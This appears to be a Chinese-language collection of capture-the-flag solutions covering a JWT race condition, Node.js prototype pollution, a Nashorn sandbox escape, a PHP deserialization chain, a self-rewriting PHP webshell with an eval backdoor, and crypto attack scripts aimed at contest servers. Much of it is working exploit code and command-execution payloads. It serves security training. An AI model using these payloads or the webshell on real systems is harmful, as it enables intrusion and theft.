1
2
3

废弃的网站
本题考查了「条件竞争」漏洞的简单利用。
本题给出了服务的源码，你需要找出服务中存在的条件竞争点，并且通过条件竞争点来合理编写脚本来对服务进行攻击。

1
2
3

//Token生成逻辑
time_started = round(time.time())  # 应用启动时的Unix时间戳
APP_SECRET = hashlib.sha256(str(time_started).encode()).hexdigest()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

import jwt
import hashlib
import time
# 当前时间
current_time = int(time.time())
# 获取到的uptime（假设为1024秒）
uptime = 1024
base_time_started = current_time - uptime
# 生成从base-10到base+10的time_started
tokens = []
for offset in range(-10, 11):
    time_started = base_time_started + offset
    secret = hashlib.sha256(str(time_started).encode()).hexdigest()
    payload = {"id": 1, "role": "admin", "name": "Administrator"}
    token = jwt.encode(payload, secret, algorithm='HS256')
    tokens.append(token)
# 将token写入文件
with open('tokens.txt', 'w') as f:
    for token in tokens:
        f.write(token + '\n')

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

def admin_required(f):
    def wrapper(*args, **kwargs):
        cookie = request.cookies.get('session', None)
        if cookie is None:
            
            response = redirect('/')
            session = jwt.encode(USER_DB['guest'], APP_SECRET, algorithm='HS256')
            response.set_cookie('session', session)
            return response
        try:
            user_data = jwt.decode(cookie, APP_SECRET, algorithms=['HS256'])
            if user_data['role'] != 'admin':
                abort(403, description="Admin access required.")
            if user_data['name'] != 'Administrator':
                abort(403, description="Admin access required.")
            time.sleep(0.15)
        except jwt.InvalidTokenError:
            abort(401, description = f"Session expired. Please log in again. System has been running {round(time.time() - time_started)} seconds.")
        return f(*args, **kwargs)
    wrapper.__name__ = f.__name__
    return wrapper

@app.before_request
def load_user():
    if request.endpoint == 'static':
        return
    global tempuser
    cookie = request.cookies.get('session', None)
    if cookie is None:
        tempuser = USER_DB['guest']
        session = jwt.encode(tempuser, APP_SECRET, algorithm='HS256')
        response = redirect(request.path)
        response.set_cookie('session', session)
        return response
    try:
        user_data = jwt.decode(cookie, APP_SECRET, algorithms=['HS256'])
        tempuser = user_data
    except jwt.InvalidTokenError:
        session = jwt.encode(USER_DB['guest'], APP_SECRET, algorithm='HS256')
        content = render_template_string(
            "Session expired. Please log in again. System has been running %d seconds." %
            (round(time.time() - time_started))
        )
        response = app.make_response((content, 401))
        response.set_cookie('session', session)
        return response

时间线       线程A（攻击者）             线程B（污染者）
t0          发送/admin请求 (guest token)  
t1          权限检查通过（基于cookie）
t2          ↓进入150ms等待             持续访问首页，设置tempuser
t3          ↓                         load_user()将tempuser设为当前用户
t4          ↓执行admin_panel()函数
t5          读取tempuser（可能已被污染）
t6          返回结果

1
2
3
4

小 W 和小 K 的故事（最终章）
本题考查了 nodejs 中的「原型链污染」漏洞。
尝试找出服务中存在的各个模块中，可能造成原型链污染的方法，并且上网搜寻其相关内容。
当我们在对大多数服务（特别是 go，nodejs，python 等强模块相关的语言）进行渗透时，通常需要了解该服务中所利用到的模块的版本信息，并且根据模块版本信息来上网搜寻相关的 CVE，或者查询 github 上的历史 commit 中被修改掉的内容，很可能就是解题的关键。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

const rng = new random(114514);

class Random {
    constructor(seed) {
        this.seed = (seed || Date.now()) % 998244353;
    }
    next() {
        this.seed = (this.seed * 48271) % 998244353;
        return this.seed;
    }
    getRandomInt(min, max) {
        return min + (this.next() % (max - min));
    }
    getRandomFloat(min, max) {
        return min + Math.sin(getRandomInt(0, 10000)) * (max - min);
    }
    getRandomString(length) {
        const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
        let result = "";
        for (let i = 0; i < length; i++) {
            result += charset.charAt(this.getRandomInt(0, charset.length));
        }
        return result;
    }
}

module.exports = Random;

1
2
3
4
5
6
7

{
  "constructor": {
    "prototype": {
      "outputFunctionName": "x;throw new Error(process.mainModule.require('child_process').execSync('[具体payload]').toString());x"
    }
  }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

看到 Blacklisted word detected: new，说明 Java.type("java.util.Scanner")(...)这种写法在底层还是被识别为包含 "new"子串。可能是 Nashorn 内部将 Java.type(...)(...)转换成 new操作，或者黑名单检测在更深层次。
我们需要完全避免任何可能产生 new的操作，包括 Java.type创建实例。
1. 新思路：用现有的 Java API 中已有的对象来读取
既然 Runtime.getRuntime().exec()可以执行命令，我们可以将结果写入文件，然后读取文件内容。
var a="java.lang."+"Runtime";
var b=java.lang.Class.forName(a).getMethod("getRuntime").invoke(null);
b.exec("sh -c 'cat /flag > /tmp/flag.txt'").waitFor();
var lines=Java.type("java.nio.file.Files").readAllLines(Java.type("java.nio.file.Paths").get("/tmp/flag.txt"));
lines.get(0)
这里：
Files.readAllLines是静态方法，不需要 new
Paths.get也是静态方法，不需要 new
全程没有 new关键字
2. 如果还不行，尝试用 ProcessBuilder 的静态方法（但需要实例）
其实还是要创建实例。我们换一种：用 java.lang.ProcessImpl的反射启动进程，但可能也需要 newInstance。
3. 用 Base64 编码命令执行结果，避免复杂读取
var a="java.lang."+"Runtime";
var b=java.lang.Class.forName(a).getMethod("getRuntime").invoke(null);
var c=b.exec("sh -c 'cat /flag | base64'");
var scanner=Java.type("java.util.Scanner")(c.getInputStream()).useDelimiter("\\\\A");
scanner.hasNext()?scanner.next():""
还是会有 new检测。
4. 终极方案：用 JavaScript 自身拼接输出
如果命令输出很短，我们可以用 InputStream.read()逐个字节读取，拼接字符串：
var a="java.lang."+"Runtime";
var b=java.lang.Class.forName(a).getMethod("getRuntime").invoke(null);
var c=b.exec("cat /flag");
var i=c.getInputStream();
var result="";
var byteVal=i.read();
while(byteVal!=-1){result+=String.fromCharCode(byteVal);byteVal=i.read();}
result

1
2
3
4
5
6
7
8
9

计算器 最终payload
var a="java.lang."+"Runtime";
var b=java.lang.Class.forName(a).getMethod("getRuntime").invoke(null);
var c=b.exec("cat /flag");
var i=c.getInputStream();
var result="";
var byteVal=i.read();
while(byteVal!=-1){result+=String.fromCharCode(byteVal);byteVal=i.read();}
result

1
2

上传的1.dat 利用了php伪协议
a:4:{s:9:"timestamp";i:1761919039;s:7:"version";s:3:"1.0";s:4:"blog";O:4:"Blog":8:{s:2:"id";i:4;s:5:"title";s:6:"Test 4";s:7:"content";s:1:"1";s:7:"user_id";i:1;s:8:"username";s:5:"admin";s:10:"created_at";s:19:"2025-10-31 21:45:45";s:10:"updated_at";s:19:"2025-10-31 21:45:45";s:8:"template";s:52:"php://filter/convert.base64-encode/resource=flag.php";}s:9:"signature";s:62:"3a98354afb44dfadb382da90dceebf1e60cf24d85912bf175c2d7438c6d460";}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188

from pwn import *
import itertools

# 定义 S-box 和 P-box
S = [13, 11, 6, 5, 2, 7, 3, 4, 9, 0, 10, 1, 12, 15, 8, 14]
P = (0, 4, 8, 12, 1, 5, 9, 13, 2, 6, 10, 14, 3, 7, 11, 15)

def deblock(m):
    return [(m >> 12) & 0xF, (m >> 8) & 0xF, (m >> 4) & 0xF, m & 0xF]

def block(nibbles):
    return (nibbles[0] << 12) | (nibbles[1] << 8) | (nibbles[2] << 4) | nibbles[3]

def S_apply(nibbles):
    return [S[i] for i in nibbles]

def permute_bits(x):
    bits = [(x >> (15 - i)) & 1 for i in range(16)] 
    new_bits = [0] * 16
    for i in range(16):
        new_pos = P[i]
        new_bits[new_pos] = bits[i]
    result = 0
    for i in range(16):
        result = (result << 1) | new_bits[i]
    return result

def round1(m, k0):
    u = m ^ k0
    nibbles = deblock(u)
    v_nibbles = S_apply(nibbles)
    v = block(v_nibbles)
    x = permute_bits(v)
    return x

def round2_sbox(x):
    nibbles = deblock(x)
    z_nibbles = S_apply(nibbles)
    z = block(z_nibbles)
    return z

def fast_differential_attack(conn, plaintexts):
    """快速差分攻击，在单次连接内完成"""
    ciphertexts = []
    
    # 收集密文
    for msg in plaintexts:
        conn.recvuntil(b"Your input: ")
        conn.sendline(hex(msg)[2:].encode())
        line = conn.recvline().decode().strip()
        if line.startswith("Output: 0x"):
            hex_str = line[10:]
            c = int(hex_str, 16)
            ciphertexts.append(c)
            print(f"m={msg:04x} -> c={c:04x}")
        else:
            print("Unexpected output:", line)
            return None
    
    # 快速差分分析
    m1, m2, m3 = plaintexts[0], plaintexts[1], plaintexts[2]
    c1, c2, c3 = ciphertexts[0], ciphertexts[1], ciphertexts[2]
    
    c1_nib, c2_nib = deblock(c1), deblock(c2)
    
    # 优化搜索：使用更有效的差分特征
    candidate_keys = []
    
    for k0 in range(0x10000):
        if k0 % 0x1000 == 0:  # 减少进度输出频率
            print(f"Progress: k0 = {k0:04x}")
        
        x1 = round1(m1, k0)
        x2 = round1(m2, k0)
        x1_nib, x2_nib = deblock(x1), deblock(x2)
        
        # 快速筛选：检查差分是否可能
        valid = True
        possible_k1_nib = [[] for _ in range(4)]
        
        for i in range(4):
            delta_c = c1_nib[i] ^ c2_nib[i]
            found = False
            for k1_i in range(16):
                s1 = S[x1_nib[i] ^ k1_i]
                s2 = S[x2_nib[i] ^ k1_i]
                if s1 ^ s2 == delta_c:
                    possible_k1_nib[i].append(k1_i)
                    found = True
            if not found:
                valid = False
                break
        
        if not valid:
            continue
        
        # 生成k1候选并验证
        for k1_comb in itertools.product(*possible_k1_nib):
            k1 = (k1_comb[0] << 12) | (k1_comb[1] << 8) | (k1_comb[2] << 4) | k1_comb[3]
            
            # 计算k2并验证第三个明文
            z1 = round2_sbox(x1 ^ k1)
            k2 = z1 ^ c1
            
            x3 = round1(m3, k0)
            z3 = round2_sbox(x3 ^ k1)
            c3_calc = z3 ^ k2
            
            if c3_calc == c3:
                # 用第四个明文进一步验证（如果收集了更多）
                if len(plaintexts) > 3:
                    m4, c4 = plaintexts[3], ciphertexts[3]
                    x4 = round1(m4, k0)
                    z4 = round2_sbox(x4 ^ k1)
                    if (z4 ^ k2) == c4:
                        candidate_keys.append((k0, k1, k2))
                else:
                    candidate_keys.append((k0, k1, k2))
        
        # 如果找到候选密钥，立即返回（优化速度）
        if candidate_keys:
            break
    
    return candidate_keys

def main():
    max_attempts = 3  # 最大尝试次数
    
    for attempt in range(max_attempts):
        print(f"\n=== Attempt {attempt + 1} ===")
        
        try:
            # 连接服务器
            r = remote("8.147.132.32", 36646)
            
            # 选择高效的明文（差分特征明显的）
            plaintexts = [0x0000, 0x0001, 0x0002, 0x0004]  # 小差分
            
            # 执行快速攻击
            candidates = fast_differential_attack(r, plaintexts)
            
            if candidates:
                print(f"Found {len(candidates)} candidate key sets")
                
                # 尝试每个候选密钥
                for i, (k0, k1, k2) in enumerate(candidates):
                    print(f"Trying candidate {i+1}: k2={k2:04x}")
                    
                    r.recvuntil(b"Your input: ")
                    r.sendline(b'k')
                    r.recvuntil(b"Your key:")
                    r.sendline(hex(k2).encode())
                    
                    response = r.recvline().decode().strip()
                    print("Response:", response)
                    
                    if "Wrong" not in response and "Bye" not in response:
                        print("SUCCESS! Flag found!")
                        # 接收所有输出
                        while True:
                            try:
                                line = r.recvline(timeout=2).decode().strip()
                                if line:
                                    print(line)
                            except:
                                break
                        r.close()
                        return
                    else:
                        print("Wrong key, attempt failed.")
                        break
                
            else:
                print("No keys found in this attempt.")
            
            r.close()
            
        except Exception as e:
            print(f"Error in attempt {attempt + 1}: {e}")
            try:
                r.close()
            except:
                pass
    
    print("All attempts failed.")

if __name__ == '__main__':
    main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

from py_ecc.bls import G2ProofOfPossession as bls
import socket
import json
import secrets

order = 52435875175126190479447740508185965837690552500527637822603658699938581184513

def send_command(command):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("8.147.132.32", 42561))
    s.sendall(json.dumps(command).encode() + b'\n')
    response = s.recv(1024).decode()
    s.close()
    return json.loads(response)

# 1. 获取服务器信息
info = send_command({"type": "get_info"})
pk_server_hex = info["message"]["server_pk"]
pop_server_hex = info["message"]["pop_server"]

# 2. 生成密钥对
sk1 = secrets.randbelow(order - 1) + 1
sk2 = (-sk1) % order
pk1 = bls.SkToPk(sk1)
pk2 = bls.SkToPk(sk2)
pop1 = bls.Sign(sk1, b"POP")
pop2 = bls.Sign(sk2, b"POP")

# 3. 注册公钥
send_command({"type": "register", "pk": pk1.hex(), "pop": pop1.hex()})
send_command({"type": "register", "pk": pk2.hex(), "pop": pop2.hex()})

# 4. 获取服务器签名
sig_server = send_command({"type": "sign", "msg": "get_flag"})["message"]
sig_server_bytes = bytes.fromhex(sig_server)

# 5. 构造聚合签名
sig1 = bls.Sign(sk1, b"get_flag")
sig2 = bls.Sign(sk2, b"get_flag")
agg_sig = bls.Aggregate([sig1, sig2, sig_server_bytes])

# 6. 提交获取flag
result = send_command({
    "type": "get_flag",
    "pks": [pk1.hex(), pk2.hex(), pk_server_hex],
    "sig": agg_sig.hex()
})
print(result)
{'success': True, 'message': 'flag{37b48d86-4c2f-4910-94f6-79bd2b521588}'}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148

import uuid
from sage.all import *

def b2l(b: bytes) -> int:
    result = 0
    for byte in b:
        result = (result << 8) | byte
    return result

def l2b(n: int) -> bytes:
    result = b""
    while n > 0:
        result = bytes([n & 0xff]) + result
        n >>= 8
    return result

# 给定参数
p = 30784558756838163538710632027143185397437897603217673077150297305544071001199
c1 = 2909317260219356685336632301474678396728564531244632916913671591997406996972
c2 = 4294738619365099885640900866122577092111906369664055461700321556058254607968
s = 8215705534787817006092091346252328321484153279277254569529867991109185617083

# 定义有限域
Fp = GF(p)

def solve_m1():
    """求解m1: c1 = m1^19 + m1^18 + 4*m1^17 mod p"""
    # 因式分解: m1^17 * (m1^2 + m1 + 4) = c1 mod p
    R.<x> = PolynomialRing(Fp)
    
    # 方法1: 直接解高次方程
    poly1 = x^19 + x^18 + 4*x^17 - c1
    
    # 因式分解后解低次方程
    # 先找m1^17的根，再解二次方程
    candidates = []
    
    # 尝试所有可能的17次根
    for root in poly1.roots():
        m1_candidate = int(root[0])
        # 验证是否是有效消息（可转换为可打印字符）
        try:
            msg = l2b(m1_candidate)
            if all(32 <= b < 127 for b in msg):  # 可打印ASCII字符
                candidates.append((m1_candidate, msg))
        except:
            continue
    
    return candidates

def solve_m2():
    """求解m2: c2 = 5*m2^19 + m2^18 + 4*m2^17 mod p"""
    R.<x> = PolynomialRing(Fp)
    poly2 = 5*x^19 + x^18 + 4*x^17 - c2
    
    candidates = []
    
    for root in poly2.roots():
        m2_candidate = int(root[0])
        try:
            msg = l2b(m2_candidate)
            if all(32 <= b < 127 for b in msg):
                candidates.append((m2_candidate, msg))
        except:
            continue
    
    return candidates

def verify_solution(m1, m2):
    """验证第三个方程: s = m1^7 * m2^2 + m2 mod p"""
    m1_fp = Fp(m1)
    m2_fp = Fp(m2)
    calculated_s = m1_fp^7 * m2_fp^2 + m2_fp
    return calculated_s == Fp(s)

def main():
    print("求解m1...")
    m1_candidates = solve_m1()
    print(f"找到 {len(m1_candidates)} 个可能的m1解")
    
    print("求解m2...")
    m2_candidates = solve_m2()
    print(f"找到 {len(m2_candidates)} 个可能的m2解")
    
    print("\n验证所有组合...")
    for m1_val, m1_msg in m1_candidates:
        for m2_val, m2_msg in m2_candidates:
            if verify_solution(m1_val, m2_val):
                print(f"\n找到正确解!")
                print(f"m1 (十六进制): {m1_val:x}")
                print(f"m2 (十六进制): {m2_val:x}")
                print(f"m1 原文: {m1_msg.decode('utf-8', errors='ignore')}")
                print(f"m2 原文: {m2_msg.decode('utf-8', errors='ignore')}")
                
                flag = m1_msg + m2_msg
                print(f"完整flag: {flag.decode('utf-8', errors='ignore')}")
                return
    
    print("未找到有效解，尝试直接多项式求解...")
    
    # 直接多项式求解方法
    R.<x> = PolynomialRing(Fp)
    
    # 解m1的方程
    poly1 = x^19 + x^18 + 4*x^17 - c1
    roots1 = poly1.roots()
    
    # 解m2的方程  
    poly2 = 5*x^19 + x^18 + 4*x^17 - c2
    roots2 = poly2.roots()
    
    print(f"\n直接求解找到 {len(roots1)} 个m1根, {len(roots2)} 个m2根")
    
    # 暴力尝试所有组合
    for r1, mult1 in roots1:
        for r2, mult2 in roots2:
            m1_val = int(r1)
            m2_val = int(r2)
            
            if verify_solution(m1_val, m2_val):
                print("通过直接求解找到正确解!")
                try:
                    m1_msg = l2b(m1_val)
                    m2_msg = l2b(m2_val)
                    flag = m1_msg + m2_msg
                    print(f"完整flag: {flag.decode('utf-8', errors='ignore')}")
                    return
                except:
                    print(f"数值解: m1={m1_val:x}, m2={m2_val:x}")

if __name__ == "__main__":
    main()

(sage-sh) nekos@nekobot:~$ sage '/cygdrive/e/web tool/1.sage'
求解m1...
找到 1 个可能的m1解
求解m2...
找到 1 个可能的m2解

验证所有组合...

找到正确解!
m1 (十六进制): 666c61677b33626462323432342d353931612d3461
m2 (十六进制): 39322d623538372d3734393531633861643139327d
m1 原文: flag{3bdb2424-591a-4a
m2 原文: 92-b587-74951c8ad192}
完整flag: flag{3bdb2424-591a-4a92-b587-74951c8ad192}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92

#!/usr/bin/env python3
# coding: utf-8
import ast
from itertools import product
from pwn import remote, timeout

# 参数（和你原题一致）
p = 225791639467198034995070527100776477487
g = 3
h = 5
n = 16

def brute_force_x(a, t):
    """暴力枚举 0/1 向量 x，使 dot(a, x) == t。返回 tuple 或 None。"""
    L = len(a)
    for bits in product([0, 1], repeat=L):
        # Python 的 sum 对大整数没有问题
        dot = 0
        for ai, xi in zip(a, bits):
            if xi:
                dot += ai
        if dot == t:
            return bits
    return None

def main():
    host = "8.147.130.32"
    port = 32772
    conn = None
    try:
        conn = remote(host, port, timeout=10)
        # 读取两行：第一行为 a，第二行为 t
        raw_a = conn.recvline(timeout=5).decode().strip()
        raw_t = conn.recvline(timeout=5).decode().strip()

        a = ast.literal_eval(raw_a)
        t = int(raw_t)
        print("a =", a)
        print("t =", t)

        x = brute_force_x(a, t)
        if x is None:
            print("未找到满足条件的 x。")
            return
        print("Found x =", x)

        # 构造 C 列表：对于每个比特，C_i = g^{x_i} * h mod p
        # 由于 x_i ∈ {0,1}，等价于：x_i==0 -> h, x_i==1 -> g*h
        C = []
        for xi in x:
            if xi == 0:
                c_i = h % p
            else:
                c_i = (g * h) % p
            C.append(c_i)

        # 按照服务端提示逐个发送每个 bit 对应的 C[i]
        for i in range(n):
            # 等待服务端提示
            conn.recvuntil(b'Every bit: ', timeout=5)
            conn.sendline(str(C[i]).encode())

        # 服务端发回 s 列表（应是一个 python list 字符串）
        line_s = conn.recvline(timeout=5).decode().strip()
        s_list = ast.literal_eval(line_s)
        print("s =", s_list)

        # 计算 S = sum(s_i * x_i)
        S = sum(si * xi for si, xi in zip(s_list, x))
        # 计算 M 和 R（按题目）
        M = sum(s_list)
        R = M + (p - 1)

        # 发送 S 和 R（等待 '>' 提示）
        conn.recvuntil(b'>', timeout=5)
        conn.sendline(str(S).encode())
        conn.recvuntil(b'>', timeout=5)
        conn.sendline(str(R).encode())

        # 读取 flag
        flag_line = conn.recvline(timeout=5).decode().strip()
        print("Flag:", flag_line)

    except Exception as e:
        print("发生异常：", repr(e))
    finally:
        if conn:
            conn.close()

if __name__ == '__main__':
    main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

(function() {
    var Aij$cmYht1 = ['\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x57\x55\x76', '\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x57\x56\x6b\x4c\x77\x3d\x3d', '\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x57\x56\x7a\x4c\x77\x3d\x3d', '\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x6d\x56\x7a\x4c\x77\x3d\x3d', '\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x6d\x56\x7a\x4c\x77\x3d\x3d'];
    var lot2 = ['\x5a\x6d\x46\x6a\x61\x31\x39\x6d\x62\x47\x46\x6e\x58\x77\x3d\x3d', '\x5a\x6d\x78\x68\x5a\x31\x39\x6d\x59\x57\x4e\x72\x58\x77\x3d\x3d', '\x61\x6e\x4e\x66\x64\x6d\x56\x79\x65\x56\x39\x6e\x62\x32\x39\x6b', '\x61\x6e\x4e\x66\x5a\x6d\x4e\x31\x61\x77\x3d\x3d', '\x61\x47\x39\x33\x58\x32\x46\x69\x62\x33\x56\x30\x58\x32\x70\x7a'];
    function _pick(CjQmMUp3, K$kHfNWZ4) {
        return CjQmMUp3[(K$kHfNWZ4 * 7 + 3) % CjQmMUp3['\x6c\x65\x6e\x67\x74\x68']]
    }
    function _b64decode(qhC5) {
        if (typeof atob === '\x66\x75\x6e\x63\x74\x69\x6f\x6e') {
            try {
                return atob(qhC5)
            } catch (e) {}
        }
        var aVeUV6 = '\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d';
        var LegKEfpY7 = '';
        qhC5 = qhC5['\x72\x65\x70\x6c\x61\x63\x65'](/[^A-Za-z0-9\+\/\=]/g, '');
        for (var snkimliGd8 = 0; snkimliGd8 < qhC5['\x6c\x65\x6e\x67\x74\x68']; ) {
            var d9 = aVeUV6['\x69\x6e\x64\x65\x78\x4f\x66'](qhC5['\x63\x68\x61\x72\x41\x74'](snkimliGd8++));
            var pTr10 = aVeUV6['\x69\x6e\x64\x65\x78\x4f\x66'](qhC5['\x63\x68\x61\x72\x41\x74'](snkimliGd8++));
            var Ghn11 = aVeUV6['\x69\x6e\x64\x65\x78\x4f\x66'](qhC5['\x63\x68\x61\x72\x41\x74'](snkimliGd8++));
            var IE12 = aVeUV6['\x69\x6e\x64\x65\x78\x4f\x66'](qhC5['\x63\x68\x61\x72\x41\x74'](snkimliGd8++));
            var pvoGIOqE_13 = (d9 << 2) | (pTr10 >> 4);
            var YOM14 = ((pTr10 & 15) << 4) | (Ghn11 >> 2);
            var _nvy15 = ((Ghn11 & 3) << 6) | IE12;
            LegKEfpY7 += window["\x53\x74\x72\x69\x6e\x67"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](pvoGIOqE_13);
            if (Ghn11 !== 64)
                LegKEfpY7 += window["\x53\x74\x72\x69\x6e\x67"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](YOM14);
            if (IE12 !== 64)
                LegKEfpY7 += window["\x53\x74\x72\x69\x6e\x67"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](_nvy15)
        }
        try {
            return decodeURIComponent(window["\x65\x73\x63\x61\x70\x65"](LegKEfpY7))
        } catch (e) {
            return LegKEfpY7
        }
    }
    window['\x5f\x72\x65\x74\x75\x72\x6e'] = function() {
        var uJSkGDiOs16 = _pick(Aij$cmYht1, 2);
        var VPa17 = _pick(lot2, 2);
        var qoLQjP18 = _b64decode(uJSkGDiOs16);
        var KfPIM19 = _b64decode(VPa17);
        window['\x6c\x6f\x63\x61\x74\x69\x6f\x6e']['\x68\x72\x65\x66'] = qoLQjP18;
        try {
            window['\x24']['\x24'] = window[KfPIM19]
        } catch (e) {
            window['\x24']['\x24'] = undefined
        }
    }
}
)();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

<?php 
ignore_user_abort(true);
set_time_limit(0);
$file = './backdoor.php';
$hack = 'I hack you!';
/** $code = "<?php if(md5(\$_GET['flag2'])=='87c298a56e0caa355872ab47db11e06c'){@eval(\$_POST['cmd']);}?>"; **/
while (1){
	if (!file_exists($file)) {
		file_put_contents($file,$hack.$code);
	}
	usleep(5000);
	#unlink(__FILE__);
}
?>

1
2
3
4
5

if ($_GET["ma_ze.path"]){ 
unserialize(base64_decode($_GET["ma_ze.path"])); 
}else{
echo "这个变量名有点奇怪，要怎么传参呢？"; 
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66

#!/usr/bin/env bash
set -euo pipefail

# 生成器：在 Linux 上用 PHP CLI 生成序列化 payload（base64 + urlencoded）
TMPPHP="$(mktemp /tmp/gen_payload.XXXX.php)"

cat > "$TMPPHP" <<'PHP'
<?php
class startPoint { public $direction; }
class Treasure { protected $door; protected $chest; }
class SaySomething { public $sth; }
class endPoint { private $path; }

/* 构造 endPoint 并设置私有属性 path */
$end = new endPoint();
$rc_end = new ReflectionClass('endPoint');
$prop_path = $rc_end->getProperty('path');
$prop_path->setAccessible(true);
$prop_path->setValue($end, 'php://filter/convert.base64-encode/resource=flag.php');

/* 构造 Treasure 并把 door/chest 指向 endPoint 实例（protected 属性通过反射写入） */
$tre = new Treasure();
$rc_tre = new ReflectionClass('Treasure');
$p_door = $rc_tre->getProperty('door'); $p_door->setAccessible(true); $p_door->setValue($tre, $end);
$p_chest = $rc_tre->getProperty('chest'); $p_chest->setAccessible(true); $p_chest->setValue($tre, $end);

/* SaySomething 持有 Treasure，startPoint.direction 指向 SaySomething */
$say = new SaySomething();
$say->sth = $tre;

$start = new startPoint();
$start->direction = $say;

/* 序列化并 base64 编码输出；同时输出 URL 编码版本 */
$payload = base64_encode(serialize($start));
echo $payload . PHP_EOL;
echo urlencode($payload) . PHP_EOL;
?>
PHP

# 运行 PHP 生成 payload
if ! command -v php >/dev/null 2>&1; then
    echo "错误：未找到 php 命令。请先安装 PHP CLI（例如 apt install php-cli 或 yum install php-cli）。" >&2
    rm -f "$TMPPHP"
    exit 1
fi

echo "生成 payload 中... (临时文件: $TMPPHP)"
PAYLOAD_FULL="$(php "$TMPPHP" | sed -n '1p')"
PAYLOAD_URLENC="$(php "$TMPPHP" | sed -n '2p')"

# 输出结果
echo
echo "=== Base64 payload (完整，可直接作为 ma_ze.path 值) ==="
echo "$PAYLOAD_FULL"
echo
echo "=== URL-encoded payload (适合直接放在浏览器地址栏) ==="
echo "$PAYLOAD_URLENC"
echo
echo "=== 示例 curl（请替换 IP:PORT） ==="
echo "curl \"http://<IP>:<PORT>/?ma_ze.path=$PAYLOAD_URLENC\""
echo
echo "临时 PHP 文件：$TMPPHP （运行结束后脚本会删除它）"

# 清理临时文件
rm -f "$TMPPHP"

1
2
3
4
5
6
7

在一般的 SQLi 题目中，可能会出现 flag 不在数据库中的情况，这时你需要通过利用 SQL 中特殊的函数来进行注入。

在羊城杯 2025 中，有一题 Ezsignin，该题利用 SQLite 中的特性，注入恶意语句到数据库中，然后使用 ATTACH 语句将恶意代码注入到 /app/views/upload.ejs 来进行数据库层面之外的攻击（这里指 SSTI）。更多细节可以参见 SQLite Injection.

本题具有类似的原理，但是实践方式更简单，你需要在特定的位置注入你的恶意代码，然后想办法将其保存在可被执行的位置。

本题根目录下的 flag 文件被保护了起来，你需要通过执行 readflag 来获得 flag.

1
2

